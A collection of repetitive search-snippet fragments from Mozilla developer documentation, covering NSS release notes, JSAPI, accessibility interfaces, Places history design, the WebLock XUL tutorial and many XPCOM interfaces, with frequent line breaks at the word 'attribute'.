new functionality no new functionality is introduced in this release. this is a patch release to fix binary compatibility issues. bugs fixed in nss 3.29.1 nss version 3.28, 3.28.1, 3.28.2 and 3.29 contained changes that were in violation with the nss compatibility promise. ecparams, which is part of the public api of the freebl/softokn parts of nss, had been changed to include an additional
attribute. ...
...see bug 1340103. ...
...h ecpublickey, ecprivatekey, nsslowkeypublickey, nsslowkeyprivatekey, or potentially other data structures that reference ecparams. the change has been reverted to the original state in bug 1334108. seckeyecpublickey had been extended with a new
attribute, named "encoding". if an application passed type seckeyecpublickey to nss (as part of seckeypublickey), the nss library read the uninitialized
attribute. with this nss release seckeyecpublickey.encoding is deprecated. nss no longer reads the
attribute, and will always set it to ecpoint_undefined. see bug 1340103. note that nss 3.28.3 from the older nss 3.28.x branch has also been released with the identical fixes. compatibility nss 3.29.1 shared libraries are backward compatible with most older nss 3.x shared libraries, but depending on your a...
NSS 3.30 release notes
m. nss 3.30 requires netscape portable runtime (nspr); 4.13.1 or newer. nss 3.30 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_30_rtm/src/ new in nss 3.30 new functionality in the pkcs#11 root ca module (nssckbi), cas with positive trust are marked with a new boolean
attribute, cka_nss_mozilla_ca_policy, set to true. applications that need to distinguish them from other other root cas, may use the exported function pk11_has
attributeset. support for callback functions that can be used to monitor ssl/tls alerts that are sent or received. new functions in cert.h cert_compareava - performs a comparison of two certava structures, and returns a seccomparison res...
...ue. applications that need to distinguish them from other other root cas, may use the exported function pk11_has
attributeset. support for callback functions that can be used to monitor ssl/tls alerts that are sent or received. new functions in cert.h cert_compareava - performs a comparison of two certava structures, and returns a seccomparison result. in pk11pub.h pk11_has
attributeset - allows to check if a pkcs#11 object in a given slot has a specific boolean
attribute set. in ssl.h ssl_alertreceivedcallback - register a callback function, that will be called whenever an ssl/tls alert is received ssl_alertsentcallback - register a callback function, that will be called whenever an ssl/tls alert is sent ssl_setsessionticketkeypair - configures an asymmetri...
...sed by the server. this function currently only accepts an rsa public/private key pair. new macros in ciferfam.h pkcs12_aes_cbc_128, pkcs12_aes_cbc_192, pkcs12_aes_cbc_256 - cipher family identifiers corresponding to the pkcs#5 v2.1 aes based encryption schemes used in the pkcs#12 support in nss in pkcs11n.h cka_nss_mozilla_ca_policy - identifier for a boolean pkcs#11
attribute, that should be set to true, if a ca is present because of it's acceptance according to the mozilla ca policy notable changes in nss 3.30 the tls server code has been enhanced to support session tickets when no rsa certificate (e.g. only an ecdsa certificate) is configured. rsa-pss signatures produced by key pairs with a modulus bit length that is not a multiple of 8 are now supported.
FC_FindObjectsInit
if fc_findobjectsinit is successful fc_findobjects may be called one or more times to retrieve handles of matching objects. ...
...if fc_findobjectsinit is successful fc_findobjects may be called one or more times to retrieve handles of matching objects. ...
...if fc_findobjectsinit is successful fc_findobjects may be called one or more times to retrieve handles of matching objects. ...
JSFunctionSpec
tion does not wrap a native js call, set this value to null. nargs uint16_t the value used for function.length. this no longer guarantees anything about the vp array. flags uint16_t the bitwise or of any number of function flags. selfhostedname const char * the function's name in self-hosted javascript code. description jsfunctionspec defines the
attributes for a single js function to associate with an object. an application typically has an array of jsfunctionspec to define all the functions for an object and calls js_definefunctions or js_initclass to create the functions and assign them to an object. jsfunctionspec can also be used to define an array element rather than a named property. array elements are actually individual properties. to defi...
...nctions for an object and calls js_definefunctions or js_initclass to create the functions and assign them to an object. jsfunctionspec can also be used to define an array element rather than a named property. array elements are actually individual properties. ...
...pecify the jsprop_index
attribute in flags. to define an array of jspropertyspec, use js_fs, js_fn, js_sym_fn, js_fninfo, js_self_hosted_fn, js_self_hosted_sym_fn, js_sym_fnspec, js_fnspec, and js_fs_end. ...
JS_DefineProperty
uint32_t or double initial stored value for the new property. getter jsnative the property getter callback, which the javascript engine will call each time the property's value is accessed; or null. setter jsnative the property setter callback, which the javascript engine will call each time the property is assigned; or null. attrs unsigned property
attributes. desc js::handle<jspropertydescriptor> the property descriptor for the property to be defined. result js::objectopresult & (out parameter) receives the result of the operation. description js_defineproperty defines a single property in a specified object, obj. js_defineucproperty is the unicode version of the function. js_definepropertybyid is the ...
...n the javascript language; it allows the application to specify additional details (getter, setter, and attrs) governing the new property's behavior; it never calls a setter; it can call the jsclass.addproperty callback when js_setproperty would not, because it can replace an existing property. the parameters specify the new property's name, initial stored value, getter, setter, and property
attributes (attrs). if obj already has an own property with the given name or id, the existing property is replaced. these functions can currently replace jsprop_permanent properties, but such usage is deprecated. the javascript engine will call the getter or setter callback each time the property is read or written, whether from javascript code or via jsapi functions like js_getproperty and js_setproper...
... or setter callback each time the property is read or written, whether from javascript code or via jsapi functions like js_getproperty and js_setproperty. (exception: if attrs contains the jsprop_readonly flag, the setter will never be called, as property assignment will fail before it gets that far. also note that certain jsapi functions, including js_lookupproperty, js_hasproperty, and property_
attributes, can detect or examine a property without calling its getter.) if getter (or setter) is null, the new property will use the jsclass.getproperty (or jsclass.setproperty) callback from obj's class. if attrs contains the jsprop_getter (or jsprop_setter) flag, then getter (or setter) must point to a javascript function, not a c/c++ function. that is, it must be a jsobject * that points to a javascr...
Implementation Details
nt and isimpledom* interfaces linux: at-spi roles refer to specific pages to get information of supported roles for interested at api: gecko msaa ia2 at-spi states refer to specific pages to get information of supported states for interested at api: gecko msaa ia2 at-spi relations refer to specific pages to get information of supported relations for interested at api: gecko msaa ia2 at-spi
attributes object
attributes refer to specific pages to get information of supported object
attributes for interested at api: gecko msaa ia2 at-spi text
attributes refer to specific pages to get information of supported text
attributes for interested at api: gecko msaa - doesn't have a way to expose text
attributes, use ia2 ia2 at-spi document
attributes refer to specific pages to get information of su...
...instead, the same information is available via theisimpledomdocument interface. ...
...instead, the same information is available via theisimpledomdocument interface. at-spi events refer to specific pages to get information of supported events for interested at api: gecko msaa ia2 at-spi implementation features this section highlights special features of at apis implementation by gecko. unsupported features we do not support some at apis features. ...
XForms Accessibility
he wrote: navindex was in xforms - it was stripped out as it was believed the focus model was dependent on the content which used it. so, yes we don't care ...
...fore since mozilla xforms works in xhtml (1.x) or xul documents only then we use tabindex instead. note, we support -moz-user-focus style neither for xhtml or xul. at api accessible properties this section describes common rules how accessibility properties are formed for forms control elements. name it is formed from value of child xforms label element if the element doesn't have labelledby
attribute. description it is formed from value of child xforms hint element if the element doesn't have describedby
attribute. state it is formed as well from model item properties (mips) of instance node that xforms element is bound to as from valid/invalid or in-range/out-of-range states of instance node. instance node states are mapped to accessibility state constants declared in nsiaccessiblestates...
... (mips) of instance node that xforms element is bound to as from valid/invalid or in-range/out-of-range states of instance node. instance node states are mapped to accessibility state constants declared in nsiaccessiblestates interface like it shown below: relevant - state_unavailable readonly - state_readonly required - state_required invalid - state_invalid out of range - state_invalid
attributes redefines datatype aria
attribute. its value is xml schema builit-in datatype of instance node that xforms element is bound to. children mozilla xforms implementation allows form control elements to have child elements. therefore accessible children are formed from any accessible child elements of form control element and from elements that are introduced by its presentation. forms controls ...
History Service Design
ized, for example limited history queries, often used to build menus, allowing for good performances even in presence of a really large history. storing pages and visits pages (intended as uris) are stored into a table shared by both history and bookmarks, every url is unique in this table and is associated with a place id, commonly used as the foreign key on other tables. this table has common
attributes for a page like typed, hidden and frecency. certain scheme are excluded from history, so they will never be added, for example: about, view-source, chrome. if a page can be added we first check if it exists already, then it is added or updated accordingly to the previous check, and common
attributes are set based on concurrent visit properties. typed means the page as a typed visit, hidden mean...
... size has increased far more than 10 times from the previous mork based implementation, thus the need for a simple and efficient way to extract slices of data. a places query is made of of a query object (nsinavhistoryquery) and a query options object (nsinavhistoryqueryoptions) that defines the constraints results must obey to. these objects can be directly instantiated and built, setting their
attributes, but places allows a more readable and manageable form for queries: place query uris. query uris (for example place:querytype=0&sort=8&maxresults=10) can be easily built and read by users (through a built-in advanced search builder ui) and can be bookmarked, creating a so called smart bookmark. a smart bookmark can update itself automatically when bookmarks or visits change, providing a sort of ...
...elves when opened. an implementer working on a ui can then associate a viewer with the result, so that it will be notified when the result tree changes. queries can act on a variety of datas, coming from all dependant services, so it is possible to query history, bookmarks or both, also with values coming from other services like tags, annotations. result nodes can be simple uri nodes with page
attributes or complete visit
attributes, or can be containers (folders, other queries, dynamic containers and so on). see querying places for deeper knowledge on the actual implementation. expiration expiration is an important part of data management for two reasons: privacy: expiring data based on user interaction is important, nothing must be left behind on a page removal database maintenance: hav...
Building the WebLock UI
dio elements together creates the toggling ui by requiring that one or another of the elements be selected, but not both. the xul that defines the radiogroup in the web lock manager dialog is this: <radiogroup> <radio label="lock"/> <radio label="unlock" selected="true"/> </radiogroup> since the weblock component always starts up in the unlocked position, you can add the selected="true"
attribute and value on the unlock radio button and reset it dynamically as the user takes action. site adding ui the next step is to create that part of the user interface that lets you add a new site to the white list. there are other, more sophisticated ways to do this; you may also want to include some ui that lets you view the white list or edit it as a list. in this part of the tutorial, however, we...
... <statusbar id="status-bar"> <statusbarpanel class="statusbarpanel-iconic" id="weblock-status" insertbefore="offline-status" oncommand="loadweblock();" status="none"/> </statusbar> </overlay> note that the root element for this file is not a <window/> but an <overlay/>. in overlays the ordinarily unique id
attributes that xul elements use to distinguish themselves are purposely made redundant with ui in the existing browser with which they should be merged. in this case, the weblock <statusbarpanel/> appears as a child of the <statusbar/> element with id "status-bar". this id is the same one used by the <statusbar/> in navigator.xul, which means that the overlay mechanism will merge the new ui here (i.e., th...
...the web lock manager dialog. statusbarpanel#weblock-status { list-style-image: url("chrome://weblock/wlock.gif"); } statusbarpanel#weblock-status[status="locked"] { list-style-image: url("chrome://weblock/wl-lock.gif"); } statusbarpanel#weblock-status[status="unlocked"] { list-style-image: url("chrome://weblock/wl-un.gif"); } the style rules are distinguished by the state of the status
attribute on the element in the xul with the id "weblock-status." as you can see above, when the status of the element is set to "locked", the image wl-lock.gif is used to show the state, and when the web locking is unlocked, it uses wl-un.gif. (note: we include three images to represent the state of the weblock, but wlock.gif and wl-lock.gif are identical, since weblock is presumed to be unlocked when it'...
Mozilla internal string guide
e current string. common methods that modify the string: .assign(string) - assigns a new value to the string. .append(string) - appends a value to the string. .insert(string, position) - inserts the given string before the code unit at position. .truncate(length) - shortens the string to the given length. complete documentation can be found in the appendix. read-only strings the const
attribute on a string determines if the string is writable. if a string is defined as a const nsastring then the data in the string cannot be manipulated. if one tries to call a non-const method on a const string the compiler will flag this as an error at build time. for example: void nsfoo::reversecharacters(nsastring& str) { ... str.assign(reversedstr); // modifies the string } this should...
...). there is no need to include room for the null terminator: it is the job of the string class. note: calling setcapacity() does not give you permission to use the pointer obtained from beginwriting() to write past the current length (as returned by length()) of the string. please use either bulkwrite() or setlength() instead. idl the string library is also available through idl. by declaring
attributes and methods using the specially defined idl types, string classes are used as parameters to the corresponding methods. idl string types the c++ signatures follow the abstract-type convention described above, such that all method parameters are based on the abstract classes. the following table describes the purpose of each string type in idl. idl type c++ type purpose ...
...value undefined becomes the string "undefined". c++ signatures in idl, in parameters are read-only, and the c++ signatures for *string parameters follows the above guidelines by using const nsastring& for these parameters. out and inout parameters are defined simply as nsastring so that the callee can write to them. ...
imgIRequest
read only. decoderobserver imgidecoderobserver read only. image imgicontainer the image container. read only. imageprincipal nsiprincipal the principal gotten from the channel the image was loaded from. read only. imagestatus unsigned long status flags of the status_* variety. read only. mime...
...read only. decoderobserver imgidecoderobserver read only. image imgicontainer the image container. read only. imageprincipal nsiprincipal the principal gotten from the channel the image was loaded from. read only. imagestatus unsigned long status flags of the status_* variety. read only. mimetype string re...
...ded. status_error 0x8 an error occurred loading the image. status_frame_complete 0x10 the first frame has been completely decoded. status_decode_complete 0x20 the whole image has been decoded. cors_none 1 cors modes images can be loaded with. by default, all images are loaded with cors_none and cannot be used cross-origin in context like webgl. if an html img element has the crossorigin
attribute set, the imgirequest will be validated for cross-origin usage with cors, and, if successful, will have its cors mode set to the relevant type. cors_anonymous 2 cors_use_credentials 3 methods cancelandforgetobserver() cancels this request as in nsirequest.cancel(); further, also nulls out decoderobserver so it gets no further notifications from us. note: you should not use this in any ne...
mozIStorageError
read only. ...
...read only. result long one of the error code values listed under constants on this page. ...
...read only. result long one of the error code values listed under constants on this page. ...
nsIAccessNode
read only. note: renamed from accessibledocument in gecko 2.0 domnode node the dom node thi...
...read only. note: renamed from accessibledocument in gecko 2.0 domnode node the dom node this nsiaccessnode is associated with. read on...
...read only. ...
GroupPosition
refer to accessible web specifications to get an idea what elements expose group information. ...
... refer to accessible web specifications to get an idea what elements expose group information. ...
... refer to accessible web specifications to get an idea what elements expose group information. ...
Value
« nsiaccessible page summary accessible value -- a number or a secondary text equivalent for this node. ...
... « nsiaccessible page summary accessible value -- a number or a secondary text equivalent for this node. ...
... « nsiaccessible page summary accessible value -- a number or a secondary text equivalent for this node. ...
nsIAccessibleDocument
obsolete since gecko 1.9 doctype astring the doc type of the document, as specified in the document. read only. domdocument nsidomdocument the nsidomdocument interface associated with this document. read only. note: renamed from document in gecko 2.0 iseditabl...
...obsolete since gecko 1.9 doctype astring the doc type of the document, as specified in the document. read only. domdocument nsidomdocument the nsidomdocument interface associated with this document. read only. note: renamed from document in gecko 2.0 iseditable boolean true ...
... thunderbird 3.3 / seamonkey 2.1)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. returns the access node cached by this document. nsiaccessnode getcachedaccessnode( in voidptr auniqueid ); parameters auniqueid the unique id used to cache the node. this matches up with the uniqueid
attribute on nsiaccessnode. return value the nsiaccessnode cached for this particular unique id. getnamespaceuriforid() the namespace for each id that is handed back. astring getnamespaceuriforid( in short namespaceid ); parameters namespaceid the id of the name space. return value the name space for given id. see also nsiaccessible nsiaccessibleevent nsiaccessnode ...
nsIAccessibleTable
for example, html:caption element of html:table element. read only. columncount long the number of columns in the table. read only. note: renamed from columns in gecko 1.9.2 columnheader nsiaccessibletable read only. obsolete since gecko 1.9.2 ...
...for example, html:caption element of html:table element. read only. columncount long the number of columns in the table. read only. note: renamed from columns in gecko 1.9.2 columnheader nsiaccessibletable read only. obsolete since gecko 1.9.2 rowcount long ...
...d only. selectedcolumncount unsigned long the total number of selected columns. read only. note: renamed from selectedcolumnscount in gecko 1.9.2 selectedrowcount unsigned long the total number of selected rows. read only. note: renamed from selectedrowscount in gecko 1.9.2 summary astring the summary description for the table. for example, @summary
attribute on html:table element. read only. methods return the accessible object at the specified row and column in the table. if both row and column index are valid then the corresponding accessible object is returned that represents the requested cell regardless of whether the cell is currently visible (on the screen). nsiaccessible getcellat( in long rowindex, in long columnindex ); param...
nsIApplicationCacheNamespace
o 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) application caches can store a set of namespace entries that affect loads from the application cache. if a load from the cache fails to match on an exact cache entry, the namespace entries are searched for a substring match. method overview void init(in unsigned long itemtype, in acstring namespacespec, in acstring data);
attributes
attribute type description data acstring data associated with the namespace, such as a fallback. how this
attribute is used varies depending on the namespace type. if the data is a uri, this
attribute should be the uri's asciispec. read only. itemtype unsigned long a bit field indicating one or more namespace types. must be one or more of the constan...
...one or more of the constants defined under constants on this page. read only. namespacespec acstring the prefix of this namespace. this should be the asciispec of the uri prefix. read only. constants constant value description namespace_bypass 1 items matching this namespace can be fetched from the network when loading from this cache. the data
attribute is not used. namespace_fallback 2 items matching this namespace can be fetched from the network when loading from this cache; however, if the load fails, the cache entry specified by the data
attribute should be loaded intstead. namespace_opportunistic 4 items matching this namespace should be cached opportunistically. successful top-level loads of resources in this ...
... methods init() initializes the namespace. void init( in unsigned long itemtype, in acstring namespacespec, in acstring data ); parameters itemtype the namespace type. namespacespec the namespace's prefix. data the data to associate with the namespace. ...
nsIAuthInformation
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) the caller of nsiauthprompt2.promptusernameandpassword() or nsiauthprompt2.promptpasswordasync() provides an object implementing this interface; the prompt implementation can then read the values here to prefill the dialog. after the user entered the authentication information, it should set the
attributes of this object to indicate to the caller what was entered by the user.
attributes
attribute type description authenticationscheme autf8string the authentication scheme used for this request, if applicable. if the protocol for this authentication does not support schemes, this will be the empty string. otherwise, this will be a string such as "basic" or "digest". this string will always be i...
...he protocol for this authentication does not support schemes, this will be the empty string. otherwise, this will be a string such as "basic" or "digest". this string will always be in lowercase. read only. domain astring the initial value should be used to prefill the dialog or be shown in some other way to the user. on return, this parameter should contain the domain entered by the user. this
attribute is only used if flags include #need_domain. flags unsigned long flags describing this dialog. a bitwise or of the constants. it is possible that neither #auth_host nor #auth_proxy are set. auth prompts should ignore flags they do not understand; especially, they should not throw an exception because of an unsupported flag. read only. password astring the initial value should be used to prefi...
... parameter should contain the username entered by the user. this field can only be changed if the #only_password flag is not set. constants constant value description auth_host 1 this dialog belongs to a network host. auth_proxy 2 this dialog belongs to a proxy. need_domain 4 this dialog needs domain information. the user interface should show a domain field, prefilled with the domain
attributes value. only_password 8 this dialog only asks for password information. authentication prompts should not show a username field. attempts to change the username field will have no effect. nsiauthprompt2 implementations should, however, show its initial value to the user in some form. for example, a paragraph in the dialog might say "please enter your password for user jsmith at server intranet...
nsICacheSession
methods asyncopencacheentry() this method gives an asynchronous cache access...
... methods asyncopencacheentry() this method gives an asynchronous cache access. does not blo...
...ner, [optional] in boolean nowait); void evictentries(); prbool isstorageenabled(); nsicacheentrydescriptor opencacheentry(in acstring key, in nscacheaccessmode accessrequested, in boolean blockingmode); void doomentry(in acstring key, in nsicachelistener listener);
attributes
attribute type description doomentriesifexpired prbool expired entries will be doomed or evicted if this
attribute is set to true. if false, expired entries will be returned (useful for offline mode and clients, such as http, that can update the valid lifetime of cached content). this
attribute defaults to true. methods asyncopencacheentry() this method gives an asynchronous cache access. does not block the calling thread. instead, the listener will be notified when the descriptor is available. void asynco...
nsICachingChannel
port for "pinning" cached data in the cache (for printing and save-as). support for uniquely identifying cached data in cases when the url is insufficient. for example a http form submission. a channel may optionally implement this interface to allow clients to affect its behavior with respect to how it uses the cache service. method overview boolean isfromcache(); obsolete since gecko 2.0
attributes
attribute type description cacheasfile boolean specifies whether or not the data should be cached to a file. this may fail if the disk cache is not present. the value of this
attribute is usually only settable during the processing of a channel's onstartrequest. the default value of this
attribute depends on the particular implementation of nsicachingchannel. cachefile nsifile get the "fi...
...file get the "file" where the cached data can be found. this is valid for as long as a reference to the cache token is held. this may return an error if cacheasfile is false. read only. cacheforofflineuse boolean specifies whether or not the data should be placed in the offline cache, in addition to normal memory/disk caching. this may fail if the offline cache is not present. the value of this
attribute should be set before opening the channel. cachekey nsisupports uniquely identifies the data in the cache for this channel. holding a reference to this key does not prevent the cached data from being removed. a cache key retrieved from a particular instance of nsicachingchannel could be set on another instance of nsicachingchannel provided the underlying implementations are compatible and prov...
...flag inhibits fetching from the net if the data in the cache has been evicted. an error of ns_error_document_not_cached will be sent to the listener's onstoprequest in this case. this flag is set automatically when the application is offline. load_only_if_modified 1 << 31 this load flag controls what happens when a document would be loaded from the cache to satisfy a call to asyncopen. if this
attribute is set to true, then the document will not be loaded from the cache. a stream listener can check isfromcache() to determine if the asyncopen will actually result in data being streamed. if this flag has been set, and the request can be satisfied via the cache, then the ondataavailable events will be skipped. the listener will only see onstartrequest followed by onstoprequest. methods ...
nsICommandLine
the application name is not part of the command line. read only. preventdefault boolean there may be a command-line handler which performs a default action if there was no explicit action on the command line (open a default browser window, for example). this flag allows the default action to be prevented. st...
...the application name is not part of the command line. read only. preventdefault boolean there may be a command-line handler which performs a default action if there was no explicit action on the command line (open a default browser window, for example). this flag allows the default action to be prevented. state unsigned l...
...lt action if there was no explicit action on the command line (open a default browser window, for example). this flag allows the default action to be prevented. state unsigned long the type of command line being processed. see state constants. read only. windowcontext nsidomwindow a window to be targeted by this command line. in most cases, this will be null (xremote will sometimes set this
attribute). read only. workingdirectory nsifile the working directory for this command line. use this property instead of the working directory for the current process, since a redirected command line may have had a different working directory. read only. constants state constants constant value description state_initial_launch 0 the first launch of the application instance. state_remote_auto 1...
nsICommandLineHandler
the text should have embedded newlines which wrap at 76 columns, and should include a newline at the end. by convention, the right column which contains flag descriptions...
...the text should have embedded newlines which wrap at 76 columns, and should include a newline at the end. by convention, the right column which contains flag descriptions begins at the 24th charac...
...the text should have embedded newlines which wrap at 76 columns, and should include a newline at the end. ...
nsICookieManager
summary to this article. last changed in gecko 1.7 inherits from: nsisupports this interface is intended to be used as a service. it is implemented by the @mozilla.org/cookiemanager;1 component, but should generally be accessed via services.cookies method overview void remove(in autf8string ahost, in acstring aname, in autf8string apath, in boolean ablocked, in jsval aorigin
attributes); void removeall();
attributes
attribute type description enumerator nsisimpleenumerator called to enumerate through each cookie in the cookie list. the objects enumerated over are of type nsicookie. read only. methods remove() this method is called to remove an individual cookie from the cookie list, specified by host, name, and path. if t...
...remove() this method is called to remove an individual cookie from the cookie list, specified by host, name, and path. if the cookie cannot be found, no exception is thrown. typically, the arguments to this method will be obtained directly from the desired nsicookie object. void remove( in autf8string ahost, in acstring aname, in autf8string apath, in boolean ablocked, in jsval aorigin
attributes ); parameters ahost the host or domain for which the cookie was set. see nsicookiemanager2.add() for a description of acceptable host strings. if the target cookie is a domain cookie, a leading dot must be present. aname the name specified in the cookie. apath the path for which the cookie was set. ablocked indicates if cookies from this host should be permanently blocked. aoriginat...
... ahost the host or domain for which the cookie was set. see nsicookiemanager2.add() for a description of acceptable host strings. if the target cookie is a domain cookie, a leading dot must be present. aname the name specified in the cookie. apath the path for which the cookie was set. ablocked indicates if cookies from this host should be permanently blocked. aorigin
attributes the origin
attributes of this cookie. removeall() this method is called to remove all cookies from the cookie list. void removeall(); parameters none. see also nsicookie nsicookie2 nsicookiemanager2 nsicookiepermission ...
nsICookieService
cvs blame will tell you why it is here. it remains until we can find a better home for it. methods getcookiestring() get the complete cookie string associated with the uri. string getcookiestring( in nsiuri auri, in nsichannel achannel );...
...cvs blame will tell you why it is here. it remains until we can find a better home for it. methods getcookiestring() get the complete cookie string associated with the uri. string getcookiestring( in nsiuri auri, in nsichannel achannel ); parameters auri...
...cvs blame will tell you why it is here. ...
nsIDOMHTMLSourceElement
terface is the dom interface to the source child of the audio and video media elements in html. dom/interfaces/html/nsidomhtmlsourceelement.idlscriptable please add a summary to this article. last changed in gecko 1.9.1.2 inherits from: nsidomhtmlelement the source element allows authors to specify multiple media resources for media elements. it does not specify anything on its own.
attributes
attribute type description src domstring the src
attribute gives the address of the media resource. the value must be a valid url. this
attribute must be present. note that dynamically manipulating this value after the page has loaded has no effect on the containing element; instead, change the src
attribute of that element (audio or video) instead. type ...
... type description src domstring the src
attribute gives the address of the media resource. the value must be a valid url. this
attribute must be present. note that dynamically manipulating this value after the page has loaded has no effect on the containing element; instead, change the src
attribute of that element (audio or video) instead. type domstring the type
attribute gives the type of the media resource, to help the user agent determine if it can play this media resource before fetching it. if specified, its value must be a valid mime type. the codecs parameter may be specified and might be necessary to specify exactly how the resource is encoded. ...
...its value must be a valid media query. ...
nsIDOMMozTouchEvent
this is a random number that is guaranteed to remain the same for each finger during all moztouchmove events between the corresponding moztouchdown and moztouchup events. methods initmoztouchevent() initializes the touch event. void initsimpleg...
...this is a random number that is guaranteed to remain the same for each finger during all moztouchmove events between the corresponding moztouchdown and moztouchup events. methods initmoztouchevent() initializes the touch event. void initsimplegestureevent( ...
... see also mouse gesture events touch events event ...
nsIDirIndex
unspecified for directories. description wstring a description for the filename, which should be displayed by a viewer. lastmodified prtime last-modified time in seconds-since-epoch. ...
...unspecified for directories. description wstring a description for the filename, which should be displayed by a viewer. lastmodified prtime last-modified time in seconds-since-epoch. ...
...unspecified for directories. description wstring a description for the filename, which should be displayed by a viewer. lastmodified prtime last-modified time in seconds-since-epoch. ...
nsIFeedContainer
categories nsiarray an array of the categories found in a feed or entry. note: the returned array will contain nsifeedcategory objects, except that interface has not been implemented yet. contributors nsiarray an array of nsifeedperso...
... categories nsiarray an array of the categories found in a feed or entry. note: the returned array will contain nsifeedcategory objects, except that interface has not been implemented yet. contributors nsiarray an array of nsifeedperson...
... uri containing the primary link for the feed or entry. links nsiarray an array of all links for a feed or entry. rights nsifeedtextconstruct the feed or entry's rights or license text. title nsifeedtextconstruct the feed or entry's title. keep in mind that some feeds have no title, and some use markup in their titles, so be cautious when decoding this
attribute. updated astring a string containing the date the feed or entry was last updated, in rfc822 form. this string is parsable by javascript and mail code. methods normalize() synchronizes a container's fields with its convenience
attributes. void normalize(); parameters none. see also nsiuri nsifeedtextconstruct interwiki link ...
nsIMarkupDocumentViewer
docshell/base/nsimarkupdocumentviewer.idlscriptable describes the properties of a content viewer for an html or xml markup document. inherits from: nsisupports last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) method overview void scrolltonode(in nsidomnode node); void sizetocontent();
attributes
attribute type description allowplugins boolean if true, plugins are allowed within the doc shell. default = true. obsolete since gecko 1.8 authorstyledisabled boolean disable entire author style level (including html presentation hints) bidicharacterset octet whether to force the user's character set 1 - use the document character set 2 - use the character set chosen by the user. obs...
... octet the order of bidirectional text in form controls. 1 - logical 2 - visual 3 - like the containing document. obsolete since gecko 2.0 bidinumeral octet the type of numerals to display. 1 - depending on context, default is arabic numerals 2 - depending on context, default is hindi numerals 3 - arabic numerals 4 - hindi numerals. bidioptions pruint32 use this
attribute to access all the bidi options in one operation. bidisupport octet whether to use platform bidi support or mozilla's bidi support 1 - use mozilla's bidi support 2 - use the platform bidi support 3 - disable bidi support. biditextdirection octet options for bidi presentation. use these
attributes to access the individual bidi options. the default directio...
... charset 2 - logical order 3 - visual order. defaultcharacterset acstring forcecharacterset acstring fullzoom float the amount by which to scale all lengths. default is 1.0. hintcharacterset acstring hintcharactersetsource print32 minfontsize long the minimum font size to allow. note: this
attribute was added late in the gecko 2.0 development cycle and was implemented by the nsimarkupdocumentviewer_mozilla_2_0_branch interface; it was merged into this interface in gecko 7.0. prevdoccharacterset acstring textzoom float the amount by which to scale all text. default is 1.0. methods scrolltonode() scroll the make the specified node visible. void scrollt...
nsIMicrosummaryGenerator
read only. localuri nsiuri for generators installed by the user or bundled with the browser, the local uri points to the location of the local file containing the generator's xml. read only. name autf8string an arbitrary descriptive name for this microsummary generator. read...
...read only. localuri nsiuri for generators installed by the user or bundled with the browser, the local uri points to the location of the local file containing the generator's xml. read only. name autf8string an arbitrary descriptive name for this microsummary generator. read only. needs...
...e page content. if the generator doesn't specify an interval, null is returned. long calculateupdateinterval( in nsidomnode apagecontent ); parameters apagecontent the content of the page being summarized. return value the interval in milliseconds until the next update request. equals() microsummary-generator equivalence test. generators are considered equal if their canonical locations (uri
attribute) are equal. boolean equals( in nsimicrosummarygenerator aother ); parameters aother the generator to compare against. return value a boolean indicating if the two generators are equal. generatemicrosummary() generate a microsummary by processing the generator template against the page content. if a generator doesn't need content, pass null as the parameter to this method. note: in the future...
nsIMsgAccountManagerExtension
extension is a xpcom compontent implementing this interface. the interface is basically a manifest and defines the properties of the new panel. a panel consists of a xul file with a page element as root element and the property file containing the localized name. note: the account manager relies on a very strong naming scheme to load and unload a panel. an account manager extension with a "name"
attribute of "devmo" and the "chromepackagename"
attribute set to "extension@example.org" means, that the account manager expects to find a xul file in "chrome://extension@example.org/content/am-devmo.xul" and a property file in "chrome://extension@example.org/locale/am-devmo.properties" containing a property named "prefpanel-devmo". you have to register any new account manager extensions via the the categ...
...t start up. simply add a new entry with the contact id of the component to the "mailnews-accountmanager-extensions" category. //github.com/realityripple/uxp/blob/master/mailnews/base/public/nsimsgaccountmanager.idlscriptable please add a summary to this article. last changed in gecko ??? inherits from: nsisupports method overview boolean showpanel(in nsimsgincomingserver server);
attributes
attribute type description name acstring name of the account manager extension. it has to be unique and defines the file name of the property file and the xul page as well as the name of the localized string contained in the property file. this
attribute is readonly! chromepackagename acstring chrome package, where the files for the new panel are located. this is usually guid of the id of...
...ring name of the account manager extension. it has to be unique and defines the file name of the property file and the xul page as well as the name of the localized string contained in the property file. this
attribute is readonly! chromepackagename acstring chrome package, where the files for the new panel are located. this is usually guid of the id of the addons which adds the new panel. this
attribute is readonly! methods showpanel() before displaying a panel in the account manager this method is triggered. boolean showpanel( in nsimsgincomingserver server ); parameters server the account for which the panel should be displayed. return value a true indicates, that the account manager can display the panel for the given account, while false prevents the panel to be loaded. see also...
nsIMsgDBHdr
isflagged boolean readonly: indicates whether or not the message is starred in the ui. iskilled boolean readonly: indicates whether or not this message belongs to a subthread that has been ignored in the ui. if you want to know whether the...
... isflagged boolean readonly: indicates whether or not the message is starred in the ui. iskilled boolean readonly: indicates whether or not this message belongs to a subthread that has been ignored in the ui. if you want to know whether the message is the root ...
... see nsmsgmessageflags for a list of what may or may not be set on this message. note that the elided flag should not be set on messages, as it is a flag strictly dealing with the database view. threadid nsmsgkey indicates the id of the thread to which this message belongs. this property does not change the state of any thread objects, so only internal database code should set this
attribute. messagekey nsmsgkey indicates the database key for this message. setting this property will probably result in an inconsistent database representation, so only internal database code should set this
attribute. threadparent nsmsgkey indicates the parent of this message in its thread. if this is the root of the thread, it will return nsmsgkey_none. messagesiz...
nsINavHistoryObserver
methods onbeforedeleteuri() obsolete since gecko 21.0 (firefox 21.0 / thunderbird 21.0 / seamonkey 2.18) note: this method was removed in gecko 21.0 as part of bug 826409. the specified page and all its visits are about to be deleted. note: the page does not necessarily have to have ever existed for this function to ...
...ired. we guarantee that we do not have any visit older than this date. aguid the unique id associated with the page. onendupdatebatch() called once a batch of updates is completed. once this has been called, you can perform processing, user interface updates, and so forth. this is called sometime after onbeginupdatebatch(). void onendupdatebatch(); parameters none. onpagechanged() some
attribute on the specified page has changed. note that for typed and hidden pages, the page might not actually have been added yet. this needs to be clarified; what are typed and hidden? void onpagechanged( in nsiuri auri, in unsigned long awhat, in astring avalue ); parameters auri the uri of the page on which an
